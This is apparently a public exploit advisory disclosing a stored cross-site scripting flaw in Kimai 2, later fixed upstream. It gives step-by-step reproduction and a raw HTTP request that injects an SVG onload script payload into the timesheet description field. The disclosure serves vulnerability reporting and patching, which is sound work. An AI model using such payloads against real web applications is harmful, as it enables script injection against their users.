# Exploit Title: Kimai 2- persistent cross-site scripting (XSS) # Date: 07/15/2019 # Exploit Author: osamaalaa # Vendor Homepage: [link] # Software Link: https://github.com/kevinpapst/kimai2 # Fixed on Github : https://github.com/kevinpapst/kimai2/pull/962 # Version: 2 1-Normal user will try to add timesheet from this link http://localhost/index.php/en/timesheet/create 2-Add this payload "><svg/onload=alert('xss')> in the description 3-Save The changes 4-refresh and we have alert pop up! The Request POC : POST /index.php/en/timesheet/create HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 392 Connection: close Referer: http://localhost Cookie: PHPSESSID=auehoprhqk3qspncs5s08ucobv timesheet_edit_form[begin]=2019-08-17 13:02&timesheet_edit_form[end]=2019-08-18 00:00&timesheet_edit_form[customer]=12&timesheet_edit_form[project]=24&timesheet_edit_form[activity]=27&timesheet_edit_form[description]= "><svg/onload=alert('xss')>&timesheet_edit_form[tags]=&timesheet_edit_form[_token]=19Owg2YgIMPFUcEP9NVibhqEpKwkwhVt5j-BTJysyK0